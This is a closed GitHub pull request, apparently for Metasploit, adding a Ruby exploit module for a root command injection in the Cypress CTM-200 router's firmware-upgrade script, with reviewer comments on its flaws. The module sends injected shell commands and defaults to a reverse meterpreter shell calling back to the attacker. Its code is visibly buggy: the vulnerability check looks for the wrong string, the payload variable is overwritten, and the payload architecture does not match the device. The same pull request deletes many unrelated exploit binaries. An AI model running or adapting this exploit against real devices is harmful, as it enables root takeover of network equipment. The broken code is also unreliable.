Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Cypress Solutions CTM-200 2.7.1 Root Remote OS Command Injection #19425

Closed
wants to merge 1 commit into from
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Binary file removed data/exploits/CVE-2014-4404/key_exploit
Binary file not shown.
Binary file removed data/exploits/CVE-2015-3673/exploit.daplug
Binary file not shown.
Binary file removed data/exploits/CVE-2016-4655/exploit
Binary file not shown.
Binary file removed data/exploits/CVE-2018-4237/ssudo
Binary file not shown.
Binary file removed data/exploits/CVE-2019-8513/exploit
Binary file not shown.
Binary file removed data/exploits/CVE-2019-8565/exploit
Binary file not shown.
Binary file removed data/exploits/CVE-2020-9839/exploit
Binary file not shown.
Binary file removed data/exploits/CVE-2020-9850/sbx.bin
Binary file not shown.
Binary file removed data/exploits/CVE-2022-46689/exploit
Binary file not shown.
Binary file removed data/exploits/tpwn/tpwn
Binary file not shown.
Binary file removed data/templates/template_armle_darwin.bin
Binary file not shown.
Binary file removed data/templates/template_x64_darwin.bin
Binary file not shown.
Binary file removed data/templates/template_x86_darwin.bin
Binary file not shown.
Binary file removed external/source/exploits/CVE-2018-4237/ssudo/ssudo
Binary file not shown.
120 changes: 120 additions & 0 deletions modules/exploits/linux/http/cypress_ctm200_command_injection.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,120 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'uri'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Cypress Solutions CTM-200 2.7.1 Root Remote OS Command Injection',
'Description' => %q{
This module exploits a command injection vulnerability in the Cypress Solutions CTM-200 version 2.7.1.
By injecting commands via the `fw_url` POST parameter in the `ctm-config-upgrade.sh` script,
an attacker can execute arbitrary commands as the root user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Berk Dusunur' # Metasploit Module Author
],
'References' => [
['CVE', '2021-5687'],
['URL', 'https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5687.php'],
['URL', 'https://www.exploit-db.com/exploits/50408']
],
'Privileged' => true,
'Payload' => {
'Space' => 2048,
'BadChars' => ''
},
'Platform' => ['unix'],
'Arch' => [ARCH_CMD],
'Targets' => [['Automatic', {}]],
'DefaultTarget' => 0,
'DisclosureDate' => '2021-09-21',
'DefaultOptions' => {
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'
}
Comment on lines +44 to +46
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

When looking up this device I noticed:

The CTM-200 is a Linux based platform powered by ARM Cortex-A8 800 MHz superscalar processor.
The ARM Cortex-A8 is a 32-bit processor core licensed by ARM Holdings implementing the ARMv7-A architecture.

The linux/x86/meterpreter/reverse_tcp payload has an Arch of ARCH_X86.

In the module you've defined the only supported Arch to be ARCH_CMD so I don't think this would run as is.

You'd likely want to keep ARCH_CMD defined and find a CMD based payload this is supported by the device. Then if you also want to include a Linux Dropper payload which would make use of the include Msf::Exploit::CmdStager mixin you would want to define that target to use one of our ARM based meterpreter payloads.

)
)

register_options(
[
OptString.new('TARGETURI', [true, 'The base path to the vulnerable application', '/cgi-bin/webif/ctm-config-upgrade.sh']),
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The TARGETURI option is used in a slightly different way. If the user installs the application in a directory like: /cypress and the vulnerable endpoint then becomes /cypress/cgi-bin/webif/ctm-config-upgrade.sh - the TARGETURI options is then used to account for the non-standard installtion directory and would be set to /cypress.

In this case the default value can be set to / and then vulernable endpoint can be moved down to the send_request_cgi statement.

OptString.new('RHOST', [true, 'The target address']),
OptString.new('LHOST', [true, 'The local host for reverse shell']),
OptString.new('LPORT', [true, 'The local port for reverse shell'])
Comment on lines +53 to +55
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

These datastore options don't need to be explicitly defined here. The payload the user selects will include them if necessary.

Suggested change
OptString.new('RHOST', [true, 'The target address']),
OptString.new('LHOST', [true, 'The local host for reverse shell']),
OptString.new('LPORT', [true, 'The local port for reverse shell'])

]
)
end

def check
# Generate a random string to use in our payload
unique_string = "echo '#{Rex::Text.rand_text_alphanumeric(10..15)}'"

# Construct the payload with the unique_string
payload = "`#{unique_string}`"

# Prepare the POST request to test the vulnerability
data = {
'submit' => '1',
'upgradefile' => '',
'fw_url' => payload,
'install_fw_url' => 'Start Firmware Upgrade from URL',
'pkgurl' => ''
}

# Send the POST request to the target
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
'uri' => normalize_uri(target_uri.path),
'uri' => normalize_uri(target_uri.path, '/cgi-bin/webif/ctm-config-upgrade.sh'),

'vars_post' => data
})

unless res
vprint_error 'Connection failed'
return CheckCode::Unknown
end

# Check if the random string is in the response body
if res.code == 200 && res.body.include?(unique_string)
return CheckCode::Vulnerable
end

CheckCode::Safe
end

def exploit
payload = "#{payload.encoded}"
data = {
'submit' => '1',
'upgradefile' => '',
'fw_url' => payload,
'install_fw_url' => 'Start Firmware Upgrade from URL',
'pkgurl' => ''
}

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'vars_post' => data,
'rport' => rport
})

if res && res.code == 200
print_good('Exploit sent successfully. Listening meterpreter shell')
else
print_error('Exploit failed. Target may not be vulnerable.')
end
end
end

Loading